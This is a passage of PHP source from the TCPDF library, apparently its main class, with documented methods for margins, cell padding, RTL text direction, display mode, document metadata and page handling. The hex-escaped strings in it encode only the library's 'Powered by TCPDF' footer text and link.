"/[^\S\P{Z}\xa0]/u" * Unicode and PCRE unicode support in Chinese mode: "/[^\S\P{Z}\P{Lo}\xa0]/u" * if PCRE unicode support is turned ON ("\P" is the negate class of "\p"): * "\p{Z}" or "\p{Separator}": any kind of Unicode whitespace or invisible separator. * "\p{Lo}" or "\p{Other_Letter}": a Unicode letter or ideograph that does not have lowercase and uppercase variants. * "\p{Lo}" is needed for Chinese characters because are packed next to each other without spaces in between. * </pre> * @param $re (string) regular expression (leave empty for default). * @public * @since 4.6.016 (2009-06-15) */ public function setSpacesRE($re='/[^\S\xa0]/') { $this->re_spaces = $re; $re_parts = explode('/', $re); // get pattern parts $this->re_space = array(); if (isset($re_parts[1]) AND !empty($re_parts[1])) { $this->re_space['p'] = $re_parts[1]; } else { $this->re_space['p'] = '[\s]'; } // set pattern modifiers if (isset($re_parts[2]) AND !empty($re_parts[2])) { $this->re_space['m'] = $re_parts[2]; } else { $this->re_space['m'] = ''; } } /** * Enable or disable Right-To-Left language mode * @param $enable (Boolean) if true enable Right-To-Left language mode. * @param $resetx (Boolean) if true reset the X position on direction change. * @public * @since 2.0.000 (2008-01-03) */ public function setRTL($enable, $resetx=true) { $enable = $enable ? true : false; $resetx = ($resetx AND ($enable != $this->rtl)); $this->rtl = $enable; $this->tmprtl = false; if ($resetx) { $this->Ln(0); } } /** * Return the RTL status * @return boolean * @public * @since 4.0.012 (2008-07-24) */ public function getRTL() { return $this->rtl; } /** * Force temporary RTL language direction * @param $mode (mixed) can be false, 'L' for LTR or 'R' for RTL * @public * @since 2.1.000 (2008-01-09) */ public function setTempRTL($mode) { $newmode = false; switch (strtoupper($mode)) { case 'LTR': case 'L': { if ($this->rtl) { $newmode = 'L'; } break; } case 'RTL': case 'R': { if (!$this->rtl) { $newmode = 'R'; } break; } case false: default: { $newmode = false; break; } } $this->tmprtl = $newmode; } /** * Return the current temporary RTL status * @return boolean * @public * @since 4.8.014 (2009-11-04) */ public function isRTLTextDir() { return ($this->rtl OR ($this->tmprtl == 'R')); } /** * Set the last cell height. * @param $h (float) cell height. * @author Nicola Asuni * @public * @since 1.53.0.TC034 */ public function setLastH($h) { $this->lasth = $h; } /** * Reset the last cell height. * @public * @since 5.9.000 (2010-10-03) */ public function resetLastH() { $this->lasth = ($this->FontSize * $this->cell_height_ratio) + $this->cell_padding['T'] + $this->cell_padding['B']; } /** * Get the last cell height. * @return last cell height * @public * @since 4.0.017 (2008-08-05) */ public function getLastH() { return $this->lasth; } /** * Set the adjusting factor to convert pixels to user units. * @param $scale (float) adjusting factor to convert pixels to user units. * @author Nicola Asuni * @public * @since 1.5.2 */ public function setImageScale($scale) { $this->imgscale = $scale; } /** * Returns the adjusting factor to convert pixels to user units. * @return float adjusting factor to convert pixels to user units. * @author Nicola Asuni * @public * @since 1.5.2 */ public function getImageScale() { return $this->imgscale; } /** * Returns an array of page dimensions: * <ul><li>$this->pagedim[$this->page]['w'] = page width in points</li><li>$this->pagedim[$this->page]['h'] = height in points</li><li>$this->pagedim[$this->page]['wk'] = page width in user units</li><li>$this->pagedim[$this->page]['hk'] = page height in user units</li><li>$this->pagedim[$this->page]['tm'] = top margin</li><li>$this->pagedim[$this->page]['bm'] = bottom margin</li><li>$this->pagedim[$this->page]['lm'] = left margin</li><li>$this->pagedim[$this->page]['rm'] = right margin</li><li>$this->pagedim[$this->page]['pb'] = auto page break</li><li>$this->pagedim[$this->page]['or'] = page orientation</li><li>$this->pagedim[$this->page]['olm'] = original left margin</li><li>$this->pagedim[$this->page]['orm'] = original right margin</li><li>$this->pagedim[$this->page]['Rotate'] = The number of degrees by which the page shall be rotated clockwise when displayed or printed. The value shall be a multiple of 90.</li><li>$this->pagedim[$this->page]['PZ'] = The page's preferred zoom (magnification) factor.</li><li>$this->pagedim[$this->page]['trans'] : the style and duration of the visual transition to use when moving from another page to the given page during a presentation<ul><li>$this->pagedim[$this->page]['trans']['Dur'] = The page's display duration (also called its advance timing): the maximum length of time, in seconds, that the page shall be displayed during presentations before the viewer application shall automatically advance to the next page.</li><li>$this->pagedim[$this->page]['trans']['S'] = transition style : Split, Blinds, Box, Wipe, Dissolve, Glitter, R, Fly, Push, Cover, Uncover, Fade</li><li>$this->pagedim[$this->page]['trans']['D'] = The duration of the transition effect, in seconds.</li><li>$this->pagedim[$this->page]['trans']['Dm'] = (Split and Blinds transition styles only) The dimension in which the specified transition effect shall occur: H = Horizontal, V = Vertical. Default value: H.</li><li>$this->pagedim[$this->page]['trans']['M'] = (Split, Box and Fly transition styles only) The direction of motion for the specified transition effect: I = Inward from the edges of the page, O = Outward from the center of the pageDefault value: I.</li><li>$this->pagedim[$this->page]['trans']['Di'] = (Wipe, Glitter, Fly, Cover, Uncover and Push transition styles only) The direction in which the specified transition effect shall moves, expressed in degrees counterclockwise starting from a left-to-right direction. If the value is a number, it shall be one of: 0 = Left to right, 90 = Bottom to top (Wipe only), 180 = Right to left (Wipe only), 270 = Top to bottom, 315 = Top-left to bottom-right (Glitter only). If the value is a name, it shall be None, which is relevant only for the Fly transition when the value of SS is not 1.0. Default value: 0.</li><li>$this->pagedim[$this->page]['trans']['SS'] = (Fly transition style only) The starting or ending scale at which the changes shall be drawn. If M specifies an inward transition, the scale of the changes drawn shall progress from SS to 1.0 over the course of the transition. If M specifies an outward transition, the scale of the changes drawn shall progress from 1.0 to SS over the course of the transition. Default: 1.0. </li><li>$this->pagedim[$this->page]['trans']['B'] = (Fly transition style only) If true, the area that shall be flown in is rectangular and opaque. Default: false.</li></ul></li><li>$this->pagedim[$this->page]['MediaBox'] : the boundaries of the physical medium on which the page shall be displayed or printed<ul><li>$this->pagedim[$this->page]['MediaBox']['llx'] = lower-left x coordinate in points</li><li>$this->pagedim[$this->page]['MediaBox']['lly'] = lower-left y coordinate in points</li><li>$this->pagedim[$this->page]['MediaBox']['urx'] = upper-right x coordinate in points</li><li>$this->pagedim[$this->page]['MediaBox']['ury'] = upper-right y coordinate in points</li></ul></li><li>$this->pagedim[$this->page]['CropBox'] : the visible region of default user space<ul><li>$this->pagedim[$this->page]['CropBox']['llx'] = lower-left x coordinate in points</li><li>$this->pagedim[$this->page]['CropBox']['lly'] = lower-left y coordinate in points</li><li>$this->pagedim[$this->page]['CropBox']['urx'] = upper-right x coordinate in points</li><li>$this->pagedim[$this->page]['CropBox']['ury'] = upper-right y coordinate in points</li></ul></li><li>$this->pagedim[$this->page]['BleedBox'] : the region to which the contents of the page shall be clipped when output in a production environment<ul><li>$this->pagedim[$this->page]['BleedBox']['llx'] = lower-left x coordinate in points</li><li>$this->pagedim[$this->page]['BleedBox']['lly'] = lower-left y coordinate in points</li><li>$this->pagedim[$this->page]['BleedBox']['urx'] = upper-right x coordinate in points</li><li>$this->pagedim[$this->page]['BleedBox']['ury'] = upper-right y coordinate in points</li></ul></li><li>$this->pagedim[$this->page]['TrimBox'] : the intended dimensions of the finished page after trimming<ul><li>$this->pagedim[$this->page]['TrimBox']['llx'] = lower-left x coordinate in points</li><li>$this->pagedim[$this->page]['TrimBox']['lly'] = lower-left y coordinate in points</li><li>$this->pagedim[$this->page]['TrimBox']['urx'] = upper-right x coordinate in points</li><li>$this->pagedim[$this->page]['TrimBox']['ury'] = upper-right y coordinate in points</li></ul></li><li>$this->pagedim[$this->page]['ArtBox'] : the extent of the page's meaningful content<ul><li>$this->pagedim[$this->page]['ArtBox']['llx'] = lower-left x coordinate in points</li><li>$this->pagedim[$this->page]['ArtBox']['lly'] = lower-left y coordinate in points</li><li>$this->pagedim[$this->page]['ArtBox']['urx'] = upper-right x coordinate in points</li><li>$this->pagedim[$this->page]['ArtBox']['ury'] = upper-right y coordinate in points</li></ul></li></ul> * @param $pagenum (int) page number (empty = current page) * @return array of page dimensions. * @author Nicola Asuni * @public * @since 4.5.027 (2009-03-16) */ public function getPageDimensions($pagenum='') { if (empty($pagenum)) { $pagenum = $this->page; } return $this->pagedim[$pagenum]; } /** * Returns the page width in units. * @param $pagenum (int) page number (empty = current page) * @return int page width. * @author Nicola Asuni * @public * @since 1.5.2 * @see getPageDimensions() */ public function getPageWidth($pagenum='') { if (empty($pagenum)) { return $this->w; } return $this->pagedim[$pagenum]['w']; } /** * Returns the page height in units. * @param $pagenum (int) page number (empty = current page) * @return int page height. * @author Nicola Asuni * @public * @since 1.5.2 * @see getPageDimensions() */ public function getPageHeight($pagenum='') { if (empty($pagenum)) { return $this->h; } return $this->pagedim[$pagenum]['h']; } /** * Returns the page break margin. * @param $pagenum (int) page number (empty = current page) * @return int page break margin. * @author Nicola Asuni * @public * @since 1.5.2 * @see getPageDimensions() */ public function getBreakMargin($pagenum='') { if (empty($pagenum)) { return $this->bMargin; } return $this->pagedim[$pagenum]['bm']; } /** * Returns the scale factor (number of points in user unit). * @return int scale factor. * @author Nicola Asuni * @public * @since 1.5.2 */ public function getScaleFactor() { return $this->k; } /** * Defines the left, top and right margins. * @param $left (float) Left margin. * @param $top (float) Top margin. * @param $right (float) Right margin. Default value is the left one. * @param $keepmargins (boolean) if true overwrites the default page margins * @public * @since 1.0 * @see SetLeftMargin(), SetTopMargin(), SetRightMargin(), SetAutoPageBreak() */ public function SetMargins($left, $top, $right=-1, $keepmargins=false) { //Set left, top and right margins $this->lMargin = $left; $this->tMargin = $top; if ($right == -1) { $right = $left; } $this->rMargin = $right; if ($keepmargins) { // overwrite original values $this->original_lMargin = $this->lMargin; $this->original_rMargin = $this->rMargin; } } /** * Defines the left margin. The method can be called before creating the first page. If the current abscissa gets out of page, it is brought back to the margin. * @param $margin (float) The margin. * @public * @since 1.4 * @see SetTopMargin(), SetRightMargin(), SetAutoPageBreak(), SetMargins() */ public function SetLeftMargin($margin) { //Set left margin $this->lMargin = $margin; if (($this->page > 0) AND ($this->x < $margin)) { $this->x = $margin; } } /** * Defines the top margin. The method can be called before creating the first page. * @param $margin (float) The margin. * @public * @since 1.5 * @see SetLeftMargin(), SetRightMargin(), SetAutoPageBreak(), SetMargins() */ public function SetTopMargin($margin) { //Set top margin $this->tMargin = $margin; if (($this->page > 0) AND ($this->y < $margin)) { $this->y = $margin; } } /** * Defines the right margin. The method can be called before creating the first page. * @param $margin (float) The margin. * @public * @since 1.5 * @see SetLeftMargin(), SetTopMargin(), SetAutoPageBreak(), SetMargins() */ public function SetRightMargin($margin) { $this->rMargin = $margin; if (($this->page > 0) AND ($this->x > ($this->w - $margin))) { $this->x = $this->w - $margin; } } /** * Set the same internal Cell padding for top, right, bottom, left- * @param $pad (float) internal padding. * @public * @since 2.1.000 (2008-01-09) * @see getCellPaddings(), setCellPaddings() */ public function SetCellPadding($pad) { if ($pad >= 0) { $this->cell_padding['L'] = $pad; $this->cell_padding['T'] = $pad; $this->cell_padding['R'] = $pad; $this->cell_padding['B'] = $pad; } } /** * Set the internal Cell paddings. * @param $left (float) left padding * @param $top (float) top padding * @param $right (float) right padding * @param $bottom (float) bottom padding * @public * @since 5.9.000 (2010-10-03) * @see getCellPaddings(), SetCellPadding() */ public function setCellPaddings($left='', $top='', $right='', $bottom='') { if (($left !== '') AND ($left >= 0)) { $this->cell_padding['L'] = $left; } if (($top !== '') AND ($top >= 0)) { $this->cell_padding['T'] = $top; } if (($right !== '') AND ($right >= 0)) { $this->cell_padding['R'] = $right; } if (($bottom !== '') AND ($bottom >= 0)) { $this->cell_padding['B'] = $bottom; } } /** * Get the internal Cell padding array. * @return array of padding values * @public * @since 5.9.000 (2010-10-03) * @see setCellPaddings(), SetCellPadding() */ public function getCellPaddings() { return $this->cell_padding; } /** * Set the internal Cell margins. * @param $left (float) left margin * @param $top (float) top margin * @param $right (float) right margin * @param $bottom (float) bottom margin * @public * @since 5.9.000 (2010-10-03) * @see getCellMargins() */ public function setCellMargins($left='', $top='', $right='', $bottom='') { if (($left !== '') AND ($left >= 0)) { $this->cell_margin['L'] = $left; } if (($top !== '') AND ($top >= 0)) { $this->cell_margin['T'] = $top; } if (($right !== '') AND ($right >= 0)) { $this->cell_margin['R'] = $right; } if (($bottom !== '') AND ($bottom >= 0)) { $this->cell_margin['B'] = $bottom; } } /** * Get the internal Cell margin array. * @return array of margin values * @public * @since 5.9.000 (2010-10-03) * @see setCellMargins() */ public function getCellMargins() { return $this->cell_margin; } /** * Adjust the internal Cell padding array to take account of the line width. * @param $brd (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @return array of adjustments * @public * @since 5.9.000 (2010-10-03) */ protected function adjustCellPadding($brd=0) { if (empty($brd)) { return; } if (is_string($brd)) { // convert string to array $slen = strlen($brd); $newbrd = array(); for ($i = 0; $i < $slen; ++$i) { $newbrd[$brd[$i]] = true; } $brd = $newbrd; } elseif (($brd === 1) OR ($brd === true) OR (is_numeric($brd) AND (intval($brd) > 0))) { $brd = array('LRTB' => true); } if (!is_array($brd)) { return; } // store current cell padding $cp = $this->cell_padding; // select border mode if (isset($brd['mode'])) { $mode = $brd['mode']; unset($brd['mode']); } else { $mode = 'normal'; } // process borders foreach ($brd as $border => $style) { $line_width = $this->LineWidth; if (is_array($style) AND isset($style['width'])) { // get border width $line_width = $style['width']; } $adj = 0; // line width inside the cell switch ($mode) { case 'ext': { $adj = 0; break; } case 'int': { $adj = $line_width; break; } case 'normal': default: { $adj = ($line_width / 2); break; } } // correct internal cell padding if required to avoid overlap between text and lines if ((strpos($border,'T') !== false) AND ($this->cell_padding['T'] < $adj)) { $this->cell_padding['T'] = $adj; } if ((strpos($border,'R') !== false) AND ($this->cell_padding['R'] < $adj)) { $this->cell_padding['R'] = $adj; } if ((strpos($border,'B') !== false) AND ($this->cell_padding['B'] < $adj)) { $this->cell_padding['B'] = $adj; } if ((strpos($border,'L') !== false) AND ($this->cell_padding['L'] < $adj)) { $this->cell_padding['L'] = $adj; } } return array('T' => ($this->cell_padding['T'] - $cp['T']), 'R' => ($this->cell_padding['R'] - $cp['R']), 'B' => ($this->cell_padding['B'] - $cp['B']), 'L' => ($this->cell_padding['L'] - $cp['L'])); } /** * Enables or disables the automatic page breaking mode. When enabling, the second parameter is the distance from the bottom of the page that defines the triggering limit. By default, the mode is on and the margin is 2 cm. * @param $auto (boolean) Boolean indicating if mode should be on or off. * @param $margin (float) Distance from the bottom of the page. * @public * @since 1.0 * @see Cell(), MultiCell(), AcceptPageBreak() */ public function SetAutoPageBreak($auto, $margin=0) { $this->AutoPageBreak = $auto ? true : false; $this->bMargin = $margin; $this->PageBreakTrigger = $this->h - $margin; } /** * Return the auto-page-break mode (true or false). * @return boolean auto-page-break mode * @public * @since 5.9.088 */ public function getAutoPageBreak() { return $this->AutoPageBreak; } /** * Defines the way the document is to be displayed by the viewer. * @param $zoom (mixed) The zoom to use. It can be one of the following string values or a number indicating the zooming factor to use. <ul><li>fullpage: displays the entire page on screen </li><li>fullwidth: uses maximum width of window</li><li>real: uses real size (equivalent to 100% zoom)</li><li>default: uses viewer default mode</li></ul> * @param $layout (string) The page layout. Possible values are:<ul><li>SinglePage Display one page at a time</li><li>OneColumn Display the pages in one column</li><li>TwoColumnLeft Display the pages in two columns, with odd-numbered pages on the left</li><li>TwoColumnRight Display the pages in two columns, with odd-numbered pages on the right</li><li>TwoPageLeft (PDF 1.5) Display the pages two at a time, with odd-numbered pages on the left</li><li>TwoPageRight (PDF 1.5) Display the pages two at a time, with odd-numbered pages on the right</li></ul> * @param $mode (string) A name object specifying how the document should be displayed when opened:<ul><li>UseNone Neither document outline nor thumbnail images visible</li><li>UseOutlines Document outline visible</li><li>UseThumbs Thumbnail images visible</li><li>FullScreen Full-screen mode, with no menu bar, window controls, or any other window visible</li><li>UseOC (PDF 1.5) Optional content group panel visible</li><li>UseAttachments (PDF 1.6) Attachments panel visible</li></ul> * @public * @since 1.2 */ public function SetDisplayMode($zoom, $layout='SinglePage', $mode='UseNone') { if (($zoom == 'fullpage') OR ($zoom == 'fullwidth') OR ($zoom == 'real') OR ($zoom == 'default') OR (!is_string($zoom))) { $this->ZoomMode = $zoom; } else { $this->Error('Incorrect zoom display mode: '.$zoom); } switch ($layout) { case 'default': case 'single': case 'SinglePage': { $this->LayoutMode = 'SinglePage'; break; } case 'continuous': case 'OneColumn': { $this->LayoutMode = 'OneColumn'; break; } case 'two': case 'TwoColumnLeft': { $this->LayoutMode = 'TwoColumnLeft'; break; } case 'TwoColumnRight': { $this->LayoutMode = 'TwoColumnRight'; break; } case 'TwoPageLeft': { $this->LayoutMode = 'TwoPageLeft'; break; } case 'TwoPageRight': { $this->LayoutMode = 'TwoPageRight'; break; } default: { $this->LayoutMode = 'SinglePage'; } } switch ($mode) { case 'UseNone': { $this->PageMode = 'UseNone'; break; } case 'UseOutlines': { $this->PageMode = 'UseOutlines'; break; } case 'UseThumbs': { $this->PageMode = 'UseThumbs'; break; } case 'FullScreen': { $this->PageMode = 'FullScreen'; break; } case 'UseOC': { $this->PageMode = 'UseOC'; break; } case '': { $this->PageMode = 'UseAttachments'; break; } default: { $this->PageMode = 'UseNone'; } } } /** * Activates or deactivates page compression. When activated, the internal representation of each page is compressed, which leads to a compression ratio of about 2 for the resulting document. Compression is on by default. * Note: the Zlib extension is required for this feature. If not present, compression will be turned off. * @param $compress (boolean) Boolean indicating if compression must be enabled. * @public * @since 1.4 */ public function SetCompression($compress=true) { if (function_exists('gzcompress')) { $this->compress = $compress ? true : false; } else { $this->compress = false; } } /** * Set flag to force sRGB_IEC61966-2.1 black scaled ICC color profile for the whole document. * @param $mode (boolean) If true force sRGB output intent. * @public * @since 5.9.121 (2011-09-28) */ public function setSRGBmode($mode=false) { $this->force_srgb = $mode ? true : false; } /** * Turn on/off Unicode mode for document information dictionary (meta tags). * This has effect only when unicode mode is set to false. * @param $unicode (boolean) if true set the meta information in Unicode * @since 5.9.027 (2010-12-01) * @public */ public function SetDocInfoUnicode($unicode=true) { $this->docinfounicode = $unicode ? true : false; } /** * Defines the title of the document. * @param $title (string) The title. * @public * @since 1.2 * @see SetAuthor(), SetCreator(), SetKeywords(), SetSubject() */ public function SetTitle($title) { $this->title = $title; } /** * Defines the subject of the document. * @param $subject (string) The subject. * @public * @since 1.2 * @see SetAuthor(), SetCreator(), SetKeywords(), SetTitle() */ public function SetSubject($subject) { $this->subject = $subject; } /** * Defines the author of the document. * @param $author (string) The name of the author. * @public * @since 1.2 * @see SetCreator(), SetKeywords(), SetSubject(), SetTitle() */ public function SetAuthor($author) { $this->author = $author; } /** * Associates keywords with the document, generally in the form 'keyword1 keyword2 ...'. * @param $keywords (string) The list of keywords. * @public * @since 1.2 * @see SetAuthor(), SetCreator(), SetSubject(), SetTitle() */ public function SetKeywords($keywords) { $this->keywords = $keywords; } /** * Defines the creator of the document. This is typically the name of the application that generates the PDF. * @param $creator (string) The name of the creator. * @public * @since 1.2 * @see SetAuthor(), SetKeywords(), SetSubject(), SetTitle() */ public function SetCreator($creator) { $this->creator = $creator; } /** * This method is automatically called in case of fatal error; it simply outputs the message and halts the execution. An inherited class may override it to customize the error handling but should always halt the script, or the resulting document would probably be invalid. * 2004-06-11 :: Nicola Asuni : changed bold tag with strong * @param $msg (string) The error message * @public * @since 1.0 */ public function Error($msg) { // unset all class variables $this->_destroy(true); $phpmainver = PHP_VERSION; // exit program and print error if ((intval($phpmainver[0]) < 5) OR !defined('K_TCPDF_THROW_EXCEPTION_ERROR') OR !K_TCPDF_THROW_EXCEPTION_ERROR) { die('<strong>TCPDF ERROR: </strong>'.$msg); } else { throw new Exception('TCPDF ERROR: '.$msg); } } /** * This method begins the generation of the PDF document. * It is not necessary to call it explicitly because AddPage() does it automatically. * Note: no page is created by this method * @public * @since 1.0 * @see AddPage(), Close() */ public function Open() { $this->state = 1; } /** * Terminates the PDF document. * It is not necessary to call this method explicitly because Output() does it automatically. * If the document contains no page, AddPage() is called to prevent from getting an invalid document. * @public * @since 1.0 * @see Open(), Output() */ public function Close() { if ($this->state == 3) { return; } if ($this->page == 0) { $this->AddPage(); } $this->endLayer(); if ($this->tcpdflink) { // save current graphic settings $gvars = $this->getGraphicVars(); $this->setEqualColumns(); $this->lastpage(true); $this->SetAutoPageBreak(false); $this->x = 0; $this->y = $this->h - (1 / $this->k); $this->lMargin = 0; $this->_out('q'); $font = defined('PDF_FONT_NAME_MAIN')?PDF_FONT_NAME_MAIN:'helvetica'; $this->SetFont($font, '', 1); $this->setTextRenderingMode(0, false, false); $msg = "\x50\x6f\x77\x65\x72\x65\x64\x20\x62\x79\x20\x54\x43\x50\x44\x46\x20\x28\x77\x77\x77\x2e\x74\x63\x70\x64\x66\x2e\x6f\x72\x67\x29"; $lnk = "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x74\x63\x70\x64\x66\x2e\x6f\x72\x67"; $this->Cell(0, 0, $msg, 0, 0, 'L', 0, $lnk, 0, false, 'D', 'B'); $this->_out('Q'); // restore graphic settings $this->setGraphicVars($gvars); } // close page $this->endPage(); // close document $this->_enddoc(); // unset all class variables (except critical ones) $this->_destroy(false); } /** * Move pointer at the specified document page and update page dimensions. * @param $pnum (int) page number (1 ... numpages) * @param $resetmargins (boolean) if true reset left, right, top margins and Y position. * @public * @since 2.1.000 (2008-01-07) * @see getPage(), lastpage(), getNumPages() */ public function setPage($pnum, $resetmargins=false) { if (($pnum == $this->page) AND ($this->state == 2)) { return; } if (($pnum > 0) AND ($pnum <= $this->numpages)) { $this->state = 2; // save current graphic settings //$gvars = $this->getGraphicVars(); $oldpage = $this->page; $this->page = $pnum; $this->wPt = $this->pagedim[$this->page]['w']; $this->hPt = $this->pagedim[$this->page]['h']; $this->w = $this->pagedim[$this->page]['wk']; $this->h = $this->pagedim[$this->page]['hk']; $this->tMargin = $this->pagedim[$this->page]['tm']; $this->bMargin = $this->pagedim[$this->page]['bm']; $this->original_lMargin = $this->pagedim[$this->page]['olm']; $this->original_rMargin = $this->pagedim[$this->page]['orm']; $this->AutoPageBreak = $this->pagedim[$this->page]['pb']; $this->CurOrientation = $this->pagedim[$this->page]['or']; $this->SetAutoPageBreak($this->AutoPageBreak, $this->bMargin); // restore graphic settings //$this->setGraphicVars($gvars); if ($resetmargins) { $this->lMargin = $this->pagedim[$this->page]['olm']; $this->rMargin = $this->pagedim[$this->page]['orm']; $this->SetY($this->tMargin); } else { // account for booklet mode if ($this->pagedim[$this->page]['olm'] != $this->pagedim[$oldpage]['olm']) { $deltam = $this->pagedim[$this->page]['olm'] - $this->pagedim[$this->page]['orm']; $this->lMargin += $deltam; $this->rMargin -= $deltam; } } } else { $this->Error('Wrong page number on setPage() function: '.$pnum); } } /** * Reset pointer to the last document page. * @param $resetmargins (boolean) if true reset left, right, top margins and Y position. * @public * @since 2.0.000 (2008-01-04) * @see setPage(), getPage(), getNumPages() */ public function lastPage($resetmargins=false) { $this->setPage($this->getNumPages(), $resetmargins); } /** * Get current document page number. * @return int page number * @public * @since 2.1.000 (2008-01-07) * @see setPage(), lastpage(), getNumPages() */ public function getPage() { return $this->page; } /** * Get the total number of insered pages. * @return int number of pages * @public * @since 2.1.000 (2008-01-07) * @see setPage(), getPage(), lastpage() */ public function getNumPages() { return $this->numpages; } /** * Adds a new TOC (Table Of Content) page to the document. * @param $orientation (string) page orientation. * @param $format (mixed) The format used for pages. It can be either: one of the string values specified at getPageSizeFromFormat() or an array of parameters specified at setPageFormat(). * @param $keepmargins (boolean) if true overwrites the default page margins with the current margins * @public * @since 5.0.001 (2010-05-06) * @see AddPage(), startPage(), endPage(), endTOCPage() */ public function addTOCPage($orientation='', $format='', $keepmargins=false) { $this->AddPage($orientation, $format, $keepmargins, true); } /** * Terminate the current TOC (Table Of Content) page * @public * @since 5.0.001 (2010-05-06) * @see AddPage(), startPage(), endPage(), addTOCPage() */ public function endTOCPage() { $this->endPage(true); } /** * Adds a new page to the document. If a page is already present, the Footer() method is called first to output the footer (if enabled). Then the page is added, the current position set to the top-left corner according to the left and top margins (or top-right if in RTL mode), and Header() is called to display the header (if enabled). * The origin of the coordinate system is at the top-left corner (or top-right for RTL) and increasing ordinates go downwards. * @param $orientation (string) page orientation. Possible values are (case insensitive):<ul><li>P or PORTRAIT (default)</li><li>L or LANDSCAPE</li></ul> * @param $format (mixed) The format used for pages. It can be either: one of the string values specified at getPageSizeFromFormat() or an array of parameters specified at setPageFormat(). * @param $keepmargins (boolean) if true overwrites the default page margins with the current margins * @param $tocpage (boolean) if true set the tocpage state to true (the added page will be used to display Table Of Content). * @public * @since 1.0 * @see startPage(), endPage(), addTOCPage(), endTOCPage(), getPageSizeFromFormat(), setPageFormat() */ public function AddPage($orientation='', $format='', $keepmargins=false, $tocpage=false) { if ($this->inxobj) { // we are inside an XObject template return; } if (!isset($this->original_lMargin) OR $keepmargins) { $this->original_lMargin = $this->lMargin; } if (!isset($this->original_rMargin) OR $keepmargins) { $this->original_rMargin = $this->rMargin; } // terminate previous page $this->endPage(); // start new page $this->startPage($orientation, $format, $tocpage); } /** * Terminate the current page * @param $tocpage (boolean) if true set the tocpage state to false (end the page used to display Table Of Content). * @public * @since 4.2.010 (2008-11-14) * @see AddPage(), startPage(), addTOCPage(), endTOCPage() */ public function endPage($tocpage=false) { // check if page is already closed if (($this->page == 0) OR ($this->numpages > $this->page) OR (!$this->pageopen[$this->page])) { return; } // print page footer $this->setFooter(); // close page $this->_endpage(); // mark page as closed $this->pageopen[$this->page] = false; if ($tocpage) { $this->tocpage = false; } } /** * Starts a new page to the document. The page must be closed using the endPage() function. * The origin of the coordinate system is at the top-left corner and increasing ordinates go downwards. * @param $orientation (string) page orientation. Possible values are (case insensitive):<ul><li>P or PORTRAIT (default)</li><li>L or LANDSCAPE</li></ul> * @param $format (mixed) The format used for pages. It can be either: one of the string values specified at getPageSizeFromFormat() or an array of parameters specified at setPageFormat(). * @param $tocpage (boolean) if true the page is designated to contain the Table-Of-Content. * @since 4.2.010 (2008-11-14) * @see AddPage(), endPage(), addTOCPage(), endTOCPage(), getPageSizeFromFormat(), setPageFormat() * @public */ public function startPage($orientation='', $format='', $tocpage=false) { if ($tocpage) { $this->tocpage = true; } // move page numbers of documents to be attached if ($this->tocpage) { // move reference to unexistent pages (used for page attachments) // adjust outlines $tmpoutlines = $this->outlines; foreach ($tmpoutlines as $key => $outline) { if ($outline['p'] > $this->numpages) { $this->outlines[$key]['p'] = ($outline['p'] + 1); } } // adjust dests $tmpdests = $this->dests; foreach ($tmpdests as $key => $dest) { if ($dest['p'] > $this->numpages) { $this->dests[$key]['p'] = ($dest['p'] + 1); } } // adjust links $tmplinks = $this->links; foreach ($tmplinks as $key => $link) { if ($link[0] > $this->numpages) { $this->links[$key][0] = ($link[0] + 1); } } } if ($this->numpages > $this->page) { // this page has been already added $this->setPage($this->page + 1); $this->SetY($this->tMargin); return; } // start a new page if ($this->state == 0) { $this->Open(); } ++$this->numpages; $this->swapMargins($this->booklet); // save current graphic settings $gvars = $this->getGraphicVars(); // start new page $this->_beginpage($orientation, $format); // mark page as open $this->pageopen[$this->page] = true; // restore graphic settings $this->setGraphicVars($gvars); // mark this point $this->setPageMark(); // print page header $this->setHeader(); // restore graphic settings $this->setGraphicVars($gvars); // mark this point $this->setPageMark(); // print table header (if any) $this->setTableHeader(); // set mark for empty page check $this->emptypagemrk[$this->page]= $this->pagelen[$this->page]; } /** * Set start-writing mark on current page stream used to put borders and fills. * Borders and fills are always created after content and inserted on the position marked by this method. * This function must be called after calling Image() function for a background image. * Background images must be always inserted before calling Multicell() or WriteHTMLCell() or WriteHTML() functions. * @public * @since 4.0.016 (2008-07-30) */ public function setPageMark() { $this->intmrk[$this->page] = $this->pagelen[$this->page]; $this->bordermrk[$this->page] = $this->intmrk[$this->page]; $this->setContentMark(); } /** * Set start-writing mark on selected page. * Borders and fills are always created after content and inserted on the position marked by this method. * @param $page (int) page number (default is the current page) * @protected * @since 4.6.021 (2009-07-20) */ protected function setContentMark($page=0) { if ($page <= 0) { $page = $this->page; } if (isset($this->footerlen[$page])) { $this->cntmrk[$page] = $this->pagelen[$page] - $this->footerlen[$page]; } else { $this->cntmrk[$page] = $this->pagelen[$page]; } } /** * Set header data. * @param $ln (string) header image logo * @param $lw (string) header image logo width in mm * @param $ht (string) string to print as title on document header * @param $hs (string) string to print on document header * @param $tc (array) RGB array color for text. * @param $lc (array) RGB array color for line. * @public */ public function setHeaderData($ln='', $lw=0, $ht='', $hs='', $tc=array(0,0,0), $lc=array(0,0,0)) { $this->header_logo = $ln; $this->header_logo_width = $lw; $this->header_title = $ht; $this->header_string = $hs; $this->header_text_color = $tc; $this->header_line_color = $lc; } /** * Set footer data. * @param $tc (array) RGB array color for text. * @param $lc (array) RGB array color for line. * @public */ public function setFooterData($tc=array(0,0,0), $lc=array(0,0,0)) { $this->footer_text_color = $tc; $this->footer_line_color = $lc; } /** * Returns header data: * <ul><li>$ret['logo'] = logo image</li><li>$ret['logo_width'] = width of the image logo in user units</li><li>$ret['title'] = header title</li><li>$ret['string'] = header description string</li></ul> * @return array() * @public * @since 4.0.012 (2008-07-24) */ public function getHeaderData() { $ret = array(); $ret['logo'] = $this->header_logo; $ret['logo_width'] = $this->header_logo_width; $ret['title'] = $this->header_title; $ret['string'] = $this->header_string; $ret['text_color'] = $this->header_text_color; $ret['line_color'] = $this->header_line_color; return $ret; } /** * Set header margin. * (minimum distance between header and top page margin) * @param $hm (int) distance in user units * @public */ public function setHeaderMargin($hm=10) { $this->header_margin = $hm; } /** * Returns header margin in user units. * @return float * @since 4.0.012 (2008-07-24) * @public */ public function getHeaderMargin() { return $this->header_margin; 